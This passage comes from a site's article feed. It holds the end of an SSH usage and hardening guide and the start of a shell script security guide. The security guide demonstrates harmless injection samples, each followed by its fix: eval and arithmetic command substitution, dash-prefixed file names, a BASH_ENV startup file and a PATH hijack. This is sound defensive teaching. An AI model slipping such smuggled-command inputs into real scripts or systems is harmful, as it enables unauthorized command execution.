\nssh web 'uptime -p'\nssh web \"ls /var/log | wc -l\"\nssh web ls -d /srv/* # glob expanded locally, not on web\nssh web 'ls -d /srv/*' # glob expanded on web\nfile=\"my report.txt\"\nssh web \"rm -- $file\" # splits on the remote side\nssh web \"rm -- $(printf '%q' \"$file\")\" # quoted for the remote shell\nSingle quotes keep your local shell from expanding anything, and the remote shell then does it. Double quotes expand variables locally, which is right for passing values in but wrong for remote variables and globs. For data from variables, printf '%q' produces a form that the remote Bash will parse back to the original string. A cleaner way to send structured work is to pipe a script to a remote shell, ssh web 'bash -s' -- arg1 arg2 < local-script.sh, so that the script text is not parsed as a command line at all.
scp copies files with the syntax of cp. Since OpenSSH 9.0 it uses the SFTP protocol internally by default, which fixed long-standing quoting problems with remote paths. sftp gives an interactive session. rsync -e ssh transfers only differences, preserves attributes, resumes and deletes extra files on request, which makes it the better tool for anything repeated or large.
scp report.pdf web:/srv/reports/\nscp -r web:/var/log/app ./logs\nrsync -avz --partial --progress ./site/ web:/srv/site/\nrsync -avz --delete --dry-run ./site/ web:/srv/site/\nThe trailing slash on the source in rsync matters: site/ copies the contents, while site copies the directory itself into the destination. Always run the first --delete transfer with --dry-run, since a wrong destination path with delete removes real files. For one-off large copies over a flaky link, rsync's --partial keeps what arrived so a retry resumes. To copy between two remote hosts, scp's -3 routes traffic through your machine, which avoids needing a trust relationship between the servers.
Port forwarding carries other protocols through the encrypted channel. A local forward, -L, listens on a port on your machine and delivers connections to a destination as seen from the SSH server. It is how you reach a database or an admin page that is only listening on a private network.
ssh -N -L 5433:db.internal:5432 bastion\npsql -h 127.0.0.1 -p 5433 -U app appdb\nThe forward binds to the loopback address by default, so only processes on your own machine can use it. The target db.internal:5432 is resolved and connected from the bastion, which is why a private name works. -N means no remote command, which is right for a forward-only session, and -f sends it to the background after authentication. Binding to 0.0.0.0 with -L 0.0.0.0:5433:... exposes the tunnel to your whole network and is rarely what you want; the server must also allow it with GatewayPorts, and the client setting applies only when the server permits.
A remote forward, -R, listens on a port on the SSH server and sends connections back through the tunnel to a destination reachable from your machine. It is how you expose a local development server to a colleague through a shared host, or reach a machine behind NAT from a server with a public address.
ssh -N -R 8080:localhost:3000 public.example.org\nssh -N -R 2222:localhost:22 public.example.org\nThe second line makes the laptop's SSH port reachable as port 2222 on the public host, so from there ssh -p 2222 localhost reaches the laptop. By default the remote end listens on loopback only. To accept connections from other machines the server needs GatewayPorts yes or clientspecified, and you should think hard before turning that on. A remote forward is also a way for a compromised or careless user to open a path into a protected network, which is why hardened servers set AllowTcpForwarding no for accounts that do not need it.
-D turns the SSH connection into a SOCKS proxy. Applications that speak SOCKS5 send their traffic through the tunnel, and the remote host makes each connection. Browsers and curl support it.
ssh -N -D 1080 bastion\ncurl --socks5-hostname 127.0.0.1:1080 http://intranet.internal/health\nUse --socks5-hostname and not --socks5 so the name is resolved on the far side of the tunnel; otherwise your machine tries to resolve a private name and fails or, worse, leaks the lookup. A SOCKS tunnel is a flexible way to reach many internal services without writing a forward for each, and equally a way to give any application on your laptop the bastion's network position, so keep it bound to loopback and close it when finished.
A bastion, or jump host, is a hardened machine that is the single entry point to a private network. ProxyJump (the -J flag) connects to the bastion first and then opens the connection to the target through it. The second connection is a separate end-to-end encrypted session from your client to the target: the bastion forwards bytes and never sees the plaintext, and your keys never have to be on it.
Host bastion\n HostName bastion.example.org\n User admin\n\nHost db01\n HostName 10.0.4.21\n User dba\n ProxyJump bastion\nssh db01\nssh -J admin@bastion.example.org dba@10.0.4.21\nscp -J bastion backup.sql dba@10.0.4.21:/tmp/\nProxyJump replaces the older pattern of ProxyCommand ssh -W %h:%p bastion and the dangerous habit of agent forwarding to the bastion. Chains work too: -J first,second. Everything that takes an SSH target, including scp, rsync with -e ssh, and Git over SSH, goes through the jump when the config block says so. Keep authentication per hop in mind: each hop uses the identity configured for it, so an IdentityFile set on Host * will be offered to every one.
Agent forwarding, -A or ForwardAgent yes, lets processes on the remote host use your local agent. It is convenient for hopping onward from a server, and risky: root on that server, or anyone who can read the agent's socket, can ask your agent to sign authentication requests for as long as the connection lasts. They cannot copy the key, but they can log in as you wherever the key is accepted. If you need to reach a second machine through the first, use ProxyJump instead, which does not expose the agent at all.
# Dangerous default\nHost *\n ForwardAgent yes\n\n# Safer: forward only to a host you control and trust\nHost trusted-build\n ForwardAgent yes\nIf you must forward, forward narrowly, set a lifetime on the key with ssh-add -t and consider ssh-add -c, which asks for confirmation on each use. With FIDO2 keys the touch requirement limits abuse to the moments you are present. Git hosting is a common reason people forward the agent; a deploy key or a short-lived token on the build host is a safer pattern than lending your identity.
Each new SSH connection pays for a TCP handshake, key exchange and authentication, which adds up when a script makes dozens of calls or when you repeatedly use scp and ssh against one host. Multiplexing shares one authenticated connection among later sessions. The first connection becomes a master and creates a control socket, and later ones attach to it almost instantly.
Host *\n ControlMaster auto\n ControlPath ~/.ssh/cm-%C\n ControlPersist 10m\n ServerAliveInterval 30\n ServerAliveCountMax 3\nssh -O check web\nssh -O exit web\nWith ControlPersist 10m the master stays alive for ten minutes after the last session, so a second command a minute later connects in milliseconds. %C hashes the connection parameters into a short, fixed-length socket name, which avoids the path length limit of Unix sockets. The keepalive options send a message every 30 seconds and give up after three misses, which keeps NAT devices from dropping an idle connection and tells you quickly when a link has died. A multiplexed session shares the master's authentication, so a stale master after a network change shows up as a hang; ssh -O exit clears it.
The server's behavior is set in /etc/ssh/sshd_config and files under /etc/ssh/sshd_config.d/. A few settings remove most of the risk of an internet-facing SSH port. Turn off password authentication, so there is nothing to guess. Turn off root login, so an attacker must also know a real username and then escalate. Limit the users who may log in at all. Reduce the window for unauthenticated connections.
# /etc/ssh/sshd_config.d/10-hardening.conf\nPermitRootLogin no\nPasswordAuthentication no\nKbdInteractiveAuthentication no\nPubkeyAuthentication yes\nAuthenticationMethods publickey\nAllowUsers deploy admin\nMaxAuthTries 3\nLoginGraceTime 20\nClientAliveInterval 300\nClientAliveCountMax 2\nX11Forwarding no\nAllowAgentForwarding no\nOn Debian 12 the main file contains Include /etc/ssh/sshd_config.d/*.conf near the top, and for most options the first value read wins, so a drop-in that sorts before other files takes precedence; naming it with a low number, as above, matters. Check what the server will actually use with sudo sshd -T, which prints the effective configuration after all includes and Match blocks. The meaning of each keyword is in sshd_config(5), and published benchmarks list further settings.
A mistake in sshd_config can lock you out of a remote machine, so use a routine that cannot fail silently. Validate the syntax first with sshd -t, which prints nothing if the file is fine. Reload, not restart, so existing sessions survive. Then open a second session, and only close the first when the new one works. Keep a recovery path outside SSH, such as a cloud console or a hypervisor shell, before touching the settings on a remote host.
sudo sshd -t && echo \"config ok\"\nsudo systemctl reload ssh\nssh -o PreferredAuthentications=publickey -o PasswordAuthentication=no deploy@server.example.org true\nsudo sshd -T | grep -Ei 'permitrootlogin|passwordauthentication|allowusers'\nconfig ok\npermitrootlogin no\npasswordauthentication no\nallowusers deploy admin\nThe unit is called ssh on Debian and Ubuntu and sshd on Fedora and RHEL. The test connection forces public key authentication and disables passwords, so a success proves the key path works and does not depend on a fallback you are about to remove. If a change goes wrong and you hold an open session, you can still fix it, because reloading never kills established connections.
Moving SSH off port 22 reduces log noise from automated scanners but does not make a weak configuration secure; it is obscurity, not protection, so do it after the real measures. A firewall rule that allows port 22 only from known addresses is much stronger. For hosts that must be reachable from anywhere, rate limiting and automatic bans add a layer: fail2ban watches the auth log and adds firewall rules for addresses with repeated failures, and nftables or ufw can rate-limit new connections to the port.
sudo ufw limit 22/tcp\nsudo fail2ban-client status sshd\nsudo journalctl -u ssh --since '1 hour ago' | grep -c 'Failed'\nWith password login off, failed attempts cost only log lines and CPU, since a guess cannot succeed, so the main value of banning is cleaner logs and a signal for alerts. The greater risk becomes a stolen key, which is why passphrases, short-lived certificates and the revocation of old keys matter more than the port number.
\n\nEach line of authorized_keys can carry options before the key. They limit what that key may do, so a key used by an automated job cannot be turned into a general login. command=\"...\" forces a specific command regardless of what the client asked for. from=\"...\" limits source addresses. restrict disables forwarding, PTY allocation and more in one word, and further options re-enable only what you list. no-port-forwarding and friends are the older individual switches.
restrict,from=\"203.0.113.0/24\",command=\"/usr/local/bin/backup-receiver\" ssh-ed25519 AAAAC3Nza... backup@host\nThis key can be used only from one network, can run only the receiver script, and gets no shell, no forwarding and no terminal. Inside the forced command, the original request is available in $SSH_ORIGINAL_COMMAND, which a script can validate against an allow-list; never pass it straight to a shell. Treat the forced command as the security boundary and write it as carefully as a network service, as discussed in the shell script security guide.
Past a handful of servers and users, managing authorized_keys files and known_hosts entries becomes the work. SSH certificates replace both with a certificate authority. You create a CA key, sign user public keys into short-lived certificates with an identity and principals, and servers trust the CA instead of individual keys. Likewise, the CA signs each server's host key, and clients trust the CA for hosts, which removes the first-connection prompt entirely.
ssh-keygen -t ed25519 -f ca_user -C \"user CA\"\nssh-keygen -s ca_user -I alice@example.org -n deploy -V +8h ~/.ssh/id_ed25519.pub\nssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub\n Type: ssh-ed25519-cert-v01@openssh.com user certificate\n Key ID: \"alice@example.org\"\n Valid: from 2026-11-05T09:00:00 to 2026-11-05T17:00:00\n Principals:\n deploy\nOn the server, TrustedUserCAKeys /etc/ssh/ca_user.pub in sshd_config makes it accept any certificate signed by that CA whose principal matches the login. A certificate that expires in eight hours needs no revocation list in practice, which is its great advantage over a key that lives for years. The CA key becomes the crown jewel and belongs on an offline machine or behind a signing service. The design is documented in the CERTIFICATES section of ssh-keygen(1).
Scripts need SSH to fail, not to prompt. The option set that does this is BatchMode=yes, which disables every prompt, with ConnectTimeout so an unreachable host does not hang the run, and StrictHostKeyChecking accept-new or a pre-populated known_hosts.
#!/usr/bin/env bash\nset -euo pipefail\nopts=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)\n\nwhile IFS= read -r host; do\n [[ -z $host || $host == \\#* ]] && continue\n if out=$(ssh -n \"${opts[@]}\" \"$host\" 'uptime -p' 2>&1); then\n printf '%-20s %s\\n' \"$host\" \"$out\"\n else\n printf '%-20s FAILED: %s\\n' \"$host\" \"$out\" >&2\n fi\ndone < hosts.txt\nweb01 up 12 days, 3 hours\nweb02 up 12 days, 3 hours\ndb01 FAILED: ssh: connect to host db01 port 22: Connection timed out\nThe -n flag is essential inside a while read loop. Without it, ssh reads from standard input, which is the host list, and swallows the rest of the file, so the loop runs for the first host only. That one-host-then-stop symptom is a classic. The options are kept in an array so each stays a separate word, and the failure of one host is reported without stopping the others.
To run more than one command, send a script on standard input to a remote shell. This avoids layered quoting, because the script is data. Pass arguments after -s --. Use a quoted here document so the local shell does not expand variables you meant for the remote one.
ssh web 'bash -s' -- /srv/app <<'EOF'\nset -euo pipefail\ndir=\"$1\"\ncd \"$dir\"\ngit rev-parse --short HEAD\nsystemctl is-active app.service\nEOF\n3f9a2c1\nactive\nBecause the delimiter is quoted, $1 and $dir reach the remote shell untouched. With an unquoted delimiter, your local shell would expand them first and they would be empty. Allocate a terminal with -t only when the remote command needs one, such as sudo prompting for a password or a curses program; in a script a pseudo-terminal merges standard error into standard output and mangles line endings.
To run a command on many hosts, combine xargs -P with the batch-safe options and capture each host's output separately, so a failure on one is attributable. Tools such as Ansible and pdsh exist for this at scale, and SSH multiplexing keeps the per-host cost low in a short script.
printf '%s\\n' web01 web02 web03 db01 |\n xargs -P4 -I{} sh -c 'ssh -n -o BatchMode=yes -o ConnectTimeout=8 {} \"df -h / | tail -1\" > \"out.{}\" 2>&1 || echo \"{} failed\" >&2'\ncat out.web01 out.web02\nA limit of four at a time keeps the control machine and the network calm, and keeps output from interleaving. When you reach the point of needing inventory, retries, idempotent changes and reports, adopt a configuration management tool and stop growing the shell version. The same applies to credentials: a loop that reaches every server with one key makes that key a skeleton key, which is a case for per-user certificates with short lifetimes.
\n\nAn SSH session dies when the connection does, and takes its processes with it. For long work, start tmux on the server and reattach after a drop. The session survives disconnects, and you can resume from a different machine.
ssh web -t 'tmux new -A -s main'\nnew -A -s main attaches to a session named main if it exists and creates it if not, so the same command works every time. Add ServerAliveInterval on the client to detect dead links and avoid a frozen terminal; to escape a hung session press Enter, then ~ and . (the escape sequence), which closes the connection without waiting. Mosh is an alternative for roaming and high-latency links, using UDP after an SSH handshake, though it needs its own server component and open ports.
Work from the client outwards. Verbose output shows each step; add more v for more detail. Read the config the client will really use with ssh -G host. Then read the server's log, because the server knows why it rejected you and tells only its log, not the client.
ssh -vvv deploy@server.example.org 2>&1 | grep -Ei 'offering|authentications|permission|denied|identity'\nssh -G web | grep -Ei '^(hostname|user|port|identityfile|proxyjump)'\nsudo journalctl -u ssh -n 30 --no-pager\nsudo sshd -ddd -p 2222\ndebug1: Offering public key: /home/dev/.ssh/id_ed25519 ED25519 SHA256:Qm2...\ndebug1: Authentications that can continue: publickey\nPermission denied (publickey).\nThe common causes, in rough order of frequency: wrong permissions on the server's .ssh files or home directory; the key not in authorized_keys or a different key offered than expected, which IdentitiesOnly and -i resolve; the server refusing the user through AllowUsers or DenyUsers; password login disabled before keys worked; a changed host key; a firewall or security group dropping the port; and the account being locked. A temporary second sshd -ddd -p 2222 on an alternate port runs in the foreground with full debugging and lets you test without touching the live daemon.
ssh-keygen -p, and use an agent.ProxyJump and forward only to hosts you control.accept-new or ship known_hosts.sshd -t, reload, and test in a second session.ssh-keygen -lf.ssh inside a loop eating the input. Add -n.printf '%q' or a script on standard input.Almost all are a variant of one problem: SSH trusts the file system and the shell, so anything loose in either becomes an authentication or injection gap.
\n\nKeys outlive the people and laptops they were made for, so plan their end from the start. Keep a record of which public key belongs to which person and device, using the comment field as a label. When a device is lost or someone leaves, remove their line from every authorized_keys file they were in. On a fleet that is where a central source of truth pays off: if the files are generated from one repository, revocation is a commit and a deploy. For a key that must be rejected everywhere at once, even if it is still listed, point RevokedKeys in sshd_config at a file of revoked public keys, and build that file with ssh-keygen -k. Certificates make this largely unnecessary, because a short lifetime does the revoking for you.
ssh-keygen -lf ~/.ssh/authorized_keys\nawk '{print $NF}' ~/.ssh/authorized_keys\ngrep -c '^ssh-' ~/.ssh/authorized_keys\nPeriodically audit what is authorized. A list of public keys with unfamiliar comments or a key nobody can account for is an incident to look into, not clutter to ignore. Rotation of your own key is equally routine: generate a new key, install it everywhere, test it, remove the old one, and delete the old private file. Do this on a schedule, such as yearly, and after any suspected exposure.
\n\nGit hosting services accept SSH keys for pushes and pulls, and the same config file rules apply. If you use several accounts on one host, give each its own key and a distinct Host alias, then use the alias in the remote URL. A deploy key is a key attached to a single repository, usually read-only, which suits CI servers and production hosts that must pull code but should not be able to read anything else.
Host github-work\n HostName github.com\n User git\n IdentityFile ~/.ssh/id_work\n IdentitiesOnly yes\ngit clone git@github-work:acme/tools.git\nssh -T git@github-work\nThe IdentitiesOnly line matters here: without it the client offers every agent key in turn, and the host may authenticate you as the wrong account on the first one it recognises. Create deploy keys without a passphrase only when the host stores them with the same care as any other secret, restricts them to read access and logs their use. Any key without a passphrase is a bearer credential, so its file permissions and the machine's own security are all that protect it.
The server logs authentication events to the journal or /var/log/auth.log. The default LogLevel INFO records who logged in and from where; VERBOSE also records the fingerprint of the key used, which is how you tell which of a user's several keys was used and trace a login to a specific device. Turn it on for any host that matters.
LogLevel VERBOSE\nsudo journalctl -u ssh --since today | grep -E 'Accepted|Failed|Invalid user'\nlast -n 10\nlastb -n 10\nwho -u\nNov 05 10:12:44 server01 sshd[2211]: Accepted publickey for deploy from 203.0.113.9 port 51522 ssh2: ED25519 SHA256:Qm2...tX0\nForward these logs off the host, so an attacker who gains access cannot erase them, and alert on patterns that matter: a login from an unexpected country, a root attempt, a burst of failures followed by a success. For a stronger record, auditd rules or session recording tools capture commands, with the privacy implications that carries. Decide what you record and who may read it before you start.
Some accounts exist only to exchange files. Give them SFTP and nothing else, confined to a directory. In sshd_config a Match block applies settings to a group, using the built-in SFTP server and a chroot.
Match Group sftponly\n ChrootDirectory /srv/sftp/%u\n ForceCommand internal-sftp\n AllowTcpForwarding no\n X11Forwarding no\n PermitTTY no\nThe chroot directory and each directory above it must be owned by root and not writable by anyone else, or sshd refuses the connection with a fatal error about bad ownership. Create a subdirectory inside it that the user owns for uploads. This is the most common stumbling block for the setup, and the log line states it precisely: \"bad ownership or modes for chroot directory\". The user has no shell, cannot reach the rest of the filesystem and cannot forward ports, so a leaked credential exposes one directory.
\n\nModern OpenSSH defaults are sound, and the best approach is to keep the software updated rather than to hand-pick algorithms. You can still inspect what your client and server support and see what a connection negotiated. ssh -Q lists supported algorithms by type, sshd -T shows the server's effective lists and ssh -vv prints the negotiated ones. Remove legacy options only when you have checked that no client you need depends on them.
ssh -Q kex | head -5\nssh -Q cipher | head -5\nssh -vv web true 2>&1 | grep -E 'kex: (algorithm|host key)|cipher:'\nA hand-written Ciphers or KexAlgorithms list freezes today's judgement into config, and if a listed algorithm is later removed from the software, sshd refuses to start. Prefer the + and - prefix forms, such as KexAlgorithms -diffie-hellman-group14-sha1, which remove one choice from the default list and keep the rest current. Post-quantum key exchange became the default in OpenSSH 9.0 with sntrup761x25519-sha512@openssh.com, so keeping the software current brings protections that a frozen list would miss.
Two more uses are worth knowing. sshfs mounts a remote directory through SFTP, which is convenient for editing files with local tools, though not fast and not suited to heavy disk traffic. And SSH carries any byte stream, so you can pipe data across hosts without temporary files: tar on one end and tar on the other, or a database dump piped straight into a restore.
mkdir -p ~/mnt/web && sshfs web:/srv/site ~/mnt/web\nfusermount3 -u ~/mnt/web\ntar -czf - /srv/site | ssh backup 'cat > /backups/site.tgz'\nssh web 'pg_dump appdb | gzip' > appdb.sql.gz\nWith the last form the compressed dump is produced on the server and streamed to a local file, never written to the server's disk. The pipeline's exit status is that of the last command, so a failed pg_dump on the far side is invisible locally; check the size of the result, or run the remote side under set -o pipefail by wrapping it in bash -c, before trusting such a backup.
When a new machine comes up, a fixed sequence turns the defaults into a hardened setup in about ten minutes, and doing it the same way each time is what makes it reliable. First, log in with the provider's key and create a named admin user with sudo rights. Second, install your public key for that user and confirm that you can log in as them in a second terminal. Third, write the hardening drop-in shown above, run sshd -t, reload, and confirm again from a third terminal that key login still works and password login is refused. Fourth, restrict the firewall so that SSH is reachable only from the networks that need it. Fifth, enable automatic security updates, since the SSH daemon is the most exposed service on the host. Sixth, note the host key fingerprint where your team can find it, so that the next person connecting can compare it.
Each step is small, and the order matters: never remove the old way in until the new one is proven. The same checklist works as a script run by your provisioning tool, with the verification steps as assertions, and keeping it in version control makes the baseline reviewable.
\n\nLarge organizations. Hand-managed keys do not scale to hundreds of engineers and thousands of hosts. Use certificates with short lifetimes and an identity provider, or a managed access broker, and audit sessions centrally.
\nWindows clients. Windows 10 and 11 ship an OpenSSH client and the agent runs as a service, but paths, permissions and the config location differ. PuTTY uses its own key format.
\nContainers. Running sshd inside a container to get a shell is almost always wrong. Use the orchestrator's exec facility, docker exec or kubectl exec, so there is no extra daemon, key or open port to maintain.
Untrusted jump hosts. ProxyJump protects the plaintext from the bastion, but a hostile bastion can still drop or delay traffic, and it learns who connects where. Trust it as you would any network device.
\nVery old servers. Legacy devices may only offer algorithms current clients disable, such as ssh-rsa signatures with SHA-1. Enable the old option for that one host in the config, and plan its replacement; do not lower the default for everything.
SSH is the transport for many jobs that you then want to run unattended, so continue to the guide to cron and systemd timers, and to make the scripts that use it safe, the shell script security guide. For the commands you will run once connected, see the Linux command line guide, and when a remote script misbehaves, the debugging guide.
\nPrimary sources used here: RFC 4251, the SSH architecture, RFC 4252, SSH authentication, RFC 4254, the connection protocol, ssh(1), ssh_config(5), sshd_config(5), ssh-keygen(1), ssh-agent(1), scp(1), the OpenSSH release notes and the OpenSSH 9.0 notes on scp using SFTP.
","date_published":"2026-11-06T06:12:19+00:00","tags":["SSH and Networking"]},{"id":"https://shellhacks.dev/library/shell-script-security","url":"https://shellhacks.dev/library/shell-script-security","title":"Shell Script Security From Quoting to Least Privilege","summary":"A practical shell script security guide: quoting, option injection, eval, temp files, PATH, secrets, sudo and least privilege, with attacks run and fixed.","content_html":"A shell script is a program written in a language that mixes code and data in one string, and every security flaw in one follows from that. The shell takes text, splits it, expands it, and runs the result, so any text that an attacker can influence, such as a file name, a form field, an environment variable or a line from a log, can become a command or an option unless the script prevents it. This guide walks through the ways that happens, shows each attack run on Bash 5.2.15 in a clean Debian 12 container, and gives the fix. It ends with sudo and least privilege, the design side of the problem. It assumes you write scripts as in the Bash scripting tutorial.
\nThe aim is a working mental model. Once you can see where a script crosses from trusted text to untrusted text, most of the rules below follow without memorizing them: quote, delimit, validate, and keep privilege small.
\n\nSecurity is relative to a threat, so state yours. A script that backs up your own home directory, run by you, with no outside input, has little to defend. A script that runs as root from cron and processes files that users upload has a lot. The questions are who can influence the script's input, with what privileges does it run, and what is reachable from it. Input sources include arguments, environment variables, file contents, file names, the output of other commands, network responses and the current directory. Privileges include the user it runs as, the sudo rights it has, and the files and credentials it can read.
\nThe dangerous combination is untrusted input reaching a privileged script. Web request handlers written in shell, scripts run by administrators over user-supplied paths, CI jobs that process pull request titles, and root cron jobs that read files in world-writable directories are the usual places this appears. Where there is no boundary, spend your effort elsewhere. Where there is one, the rest of this guide applies line by line.
\n\nAfter expansion, an unquoted value is split into words on whitespace, and each word that contains a glob character is replaced with matching file names. Both transformations change a single piece of data into many arguments, and a value you did not choose can contain anything.
\nf=\"my file.txt\"\ntouch \"$f\"\nrm $f\nrm -- \"$f\"\nrm: cannot remove 'my': No such file or directory\nrm: cannot remove 'file.txt': No such file or directory\nThat was the harmless version. If the value had been *, or / --no-preserve-root, the same line would have done real damage. Quote every variable expansion and command substitution as \"$var\" and \"$(cmd)\". Use \"$@\" for argument lists and \"${arr[@]}\" for arrays. The few places where you want splitting, such as expanding an option string on purpose, deserve a comment saying so. ShellCheck reports the unquoted cases as SC2086, and running it on every script catches most of them.
Most commands treat any argument starting with a dash as an option, even when it came from a file name. An attacker who can create a file named -rf or -n in a directory that your script globs can change what your command does.
touch ./-n a.txt b.txt\nwc -c *\nwc -c ./*\nwc -c -- *\nwc: invalid option -- 'n'\nTry 'wc --help' for more information.\n0 total\n0 total\nThe first command expanded to wc -c -n a.txt b.txt and failed. With rm, chmod, chown, tar or rsync, a hostile name can do something worse than fail: tar accepts --checkpoint-action=exec=... in a file name and runs it, an attack documented for years. The two defences are the double dash, which ends option parsing for commands that follow the convention, and a path prefix. Write ./* instead of * in globs and use -- before any operand that came from outside. Not every command honors --, so for those, the ./ prefix, or an absolute path, is the reliable form.
A Unix file name can contain any byte except slash and NUL, including spaces, newlines, quotes and leading dashes. Scripts that parse ls output, split find results on whitespace, or loop over $(find ...) fail on such names and can be tricked by them. The safe pattern separates records with NUL, which cannot appear in a name.
mkdir -p t; touch 't/a b' 't/-rf'\nfind t -type f -exec ls -- {} +\nprintf 'a b\\0c\\0' | xargs -0 -n1 echo item\nfind t -type f -print0 | while IFS= read -r -d '' f; do\n printf 'file: [%s]\\n' \"$f\"\ndone\nt/-rf\nt/a b\nitem a b\nitem c\nfile: [t/a b]\nfile: [t/-rf]\nPlain xargs without -0 split a b into two items in the same test. The idiom IFS= read -r -d '' reads up to a NUL, keeping leading whitespace and backslashes. Using -exec ... {} + avoids the pipe altogether and handles any name. When you only need a glob, an array is safe: files=(./*.log) keeps each name as one element no matter what it contains.
Storing a command in a variable and then expanding it, cmd=\"rm $target\"; $cmd, hands the quoting problem back to the shell. So does bash -c \"rm $target\", sh -c with an interpolated string, and passing a built string to ssh. Use an array, where each word is one element and the array expands without re-parsing.
cmd=(rsync -a --delete -- \"$src/\" \"$dest/\")\nif [[ -n ${EXCLUDE:-} ]]; then\n cmd+=(--exclude \"$EXCLUDE\")\nfi\n\"${cmd[@]}\"\nAn exclusion containing spaces or glob characters stays a single argument. When you must run a built string in a subshell, pass data as positional parameters and not by interpolation: bash -c 'rm -- \"$1\"' _ \"$target\" runs a fixed script and supplies the value as $1, so nothing the value contains is ever parsed as code. This one pattern replaces most legitimate uses of string-built commands.
eval parses its arguments as shell code. Anything an attacker can put into the string runs with the script's privileges.
name='x; echo INJECTED'\neval \"echo $name\"\nx\nINJECTED\nThe semicolon ended one command and began another. The same effect arises from source on a file the attacker can write, . on a path from input, trap '...' EXIT built from a variable, alias and declare with -f in some contexts, and the Bash feature that evaluates names as arithmetic. Replace eval with the construct that does the job without parsing: associative arrays or case for lookups, declare -n or ${!name} for indirection, printf -v name '%s' \"$value\" to assign to a named variable, and read -r \"$name\" only after validating that name matches ^[A-Za-z_][A-Za-z0-9_]*$.
This one surprises experienced scripters. In Bash, the operands of -eq and the other numeric tests inside [[ ]], the contents of (( )) and $(( )), array subscripts and a few other places are evaluated as arithmetic expressions, and an expression may contain a command substitution inside an array index.
x='a[$(echo PWNED >&2)]'\n[[ $x -eq 0 ]]\necho \"rc=$?\"\nPWNED\nrc=0\nThe command in the subscript ran. A script that reads a \"count\" from a file or a query string and compares it with [[ $count -gt 10 ]] executes whatever the sender put there. Validate before any arithmetic: [[ $count =~ ^[0-9]+$ ]] || die \"not a number\". The regex match does not evaluate its operand, so it is a safe gate, and [ \"$count\" -gt 10 ] with single brackets is not subject to this behavior in Bash, though it errors on non-numbers. The same rule applies to declare -i variables, let, printf -v targets and test -v with an array reference.
printf interprets its first argument as a format. Putting data there lets that data control the output, and with some shells and options it can write to variables. Pass data as arguments, never as the format.
user='%s %s %s'\nprintf \"$user\\n\"\nprintf '%s\\n' \"$user\"\n\n%s %s %s\nThe first form consumed percent directives and printed blanks; the second printed the data as written. In Bash printf -v var assigns to a variable and the named target is evaluated, which is another reason to validate names. ShellCheck flags the format-with-variable case as SC2059. The related echo pitfalls, where data beginning with a dash or containing backslash sequences is misread, are avoided by using printf '%s\\n' throughout.
Escaping tries to make bad input harmless; validation refuses it. Allow-lists beat deny-lists because you describe what you accept, and everything else, including cases you did not think of, is rejected. Match the whole value against a strict pattern before it is used anywhere.
\nvalidate_host() {\n [[ $1 =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]{0,251}[a-zA-Z0-9])?$ ]]\n}\nvalidate_port() {\n [[ $1 =~ ^[0-9]{1,5}$ ]] && (( $1 >= 1 && $1 <= 65535 ))\n}\nhost=\"${1:-}\"; port=\"${2:-22}\"\nvalidate_host \"$host\" || { echo \"bad host\" >&2; exit 2; }\nvalidate_port \"$port\" || { echo \"bad port\" >&2; exit 2; }\nAnchor the pattern at both ends, or a value with a good prefix and a malicious tail passes. Note that the port check does the regex first and only then does arithmetic, so the arithmetic injection above is not reachable. Where the set of valid values is small, a case over exact strings is simpler and clearer than a regex. A name that must begin with a letter, so it cannot start with a dash, closes the option-injection hole at the same time.
A predictable temporary file name in a shared directory is an invitation. An attacker who can write to /tmp creates a symbolic link where your script will write, and the script, running with more privilege, overwrites a target of the attacker's choosing. This is a symlink attack, one form of the time-of-check to time-of-use class. mktemp creates the file atomically with an unguessable name and mode 600; mktemp -d does the same for a directory with mode 700.
t=$(mktemp)\nd=$(mktemp -d)\nls -ld \"$t\" \"$d\" | cut -c1-10\ntrap 'rm -rf -- \"$t\" \"$d\"' EXIT\n-rw-------\ndrwx------\nNever write /tmp/myscript.$$ or /tmp/out.txt. The process ID is guessable, and a fixed name is shared. When the script runs as root, prefer a private directory such as /run/myservice created by a systemd unit with RuntimeDirectory=, or PrivateTmp=true to give the service its own /tmp. Also avoid checking a file and then using it in two steps; open it once and keep the descriptor, or let the kernel enforce the condition with options such as O_NOFOLLOW in a tool that offers them.
A script inherits its caller's environment, and several variables change behavior. PATH decides which program runs when you type ls. IFS changes word splitting. BASH_ENV names a file that non-interactive Bash runs on startup. LD_PRELOAD and LD_LIBRARY_PATH inject code into every dynamic program. SHELLOPTS, PS4 and CDPATH alter tracing, prompts and cd. A script that runs with privilege must not trust any of them.
printf 'echo STARTUP\\n' > /tmp/lab/env.sh\nBASH_ENV=/tmp/lab/env.sh bash -c 'echo body'\nSTARTUP\nbody\nThe startup file ran before the script body. Set what you rely on at the top: PATH=/usr/sbin:/usr/bin:/sbin:/bin, IFS=$' \\t\\n', unset CDPATH BASH_ENV ENV, and use absolute paths for sensitive commands. Better still, start the script with a clean environment, exec env -i PATH=... HOME=... bash \"$0\" \"$@\", for privileged entry points. sudo already resets the environment by default through env_reset; keep that on, and keep the allow-list of preserved variables short.
A PATH containing an empty entry or . means the current directory is searched for commands. If an attacker can place a file named ls in a directory where a privileged user runs your script, that file runs instead of the real one.
mkdir bin; printf '#!/bin/sh\\necho HIJACKED\\n' > ls; chmod +x ls\nPATH=\".:$PATH\" ls\nHIJACKED\nBeware also of an empty element produced by a trailing colon or by PATH=\"$PATH:$extra\" when PATH was unset. Check with case \":$PATH:\" in *::*|*:.:*) echo unsafe;; esac. For scripts that run as root, set PATH explicitly. For scripts that run as users, never add the current directory. And when a program name comes from input, resolve and check it, or select from a fixed list of allowed commands.
Command-line arguments are visible to every user of the system through ps and /proc/PID/cmdline for as long as the process runs. A password passed as mysql -p\"$pass\" or curl -u user:$pass is readable by anyone on the host. Environment variables are not world-readable (/proc/PID/environ is mode 400 for the owner), but they are inherited by every child process and show up in crash dumps and some debug output. Shell history stores what you type. And set -x prints the expanded commands, secrets included, into logs.
umask 077\nread -r -s -p \"Token: \" token; echo\ncurl -sS -H @- https://api.example.org/v1/me <<< \"Authorization: Bearer $token\"\ncurl -sS --netrc-file ~/.config/app/netrc https://api.example.org/v1/me\n{ set +x; } 2>/dev/null\nThe first curl reads headers from standard input with -H @-, so the token never appears in the process list. The second reads credentials from a file with tight permissions. Turn tracing off around sensitive lines, as in the last command, where redirecting the trace output of set +x itself hides the line announcing the change. Store secrets in a file readable only by the service account, mode 600, owned by it, or in a secret manager; with systemd use LoadCredential=, covered in the guide to cron and systemd timers.
